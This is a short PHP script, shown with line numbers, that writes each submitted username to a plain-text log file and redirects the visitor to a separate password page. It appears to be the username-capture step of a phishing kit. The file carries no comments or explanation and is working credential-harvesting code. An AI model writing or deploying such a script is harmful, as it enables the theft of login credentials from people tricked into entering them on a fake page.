1<?php 2 3 file_put_contents("log.txt", "Username: " . $_POST['username'] . "\n", FILE_APPEND); 4header('Location: pass.php'); 5exit(); 6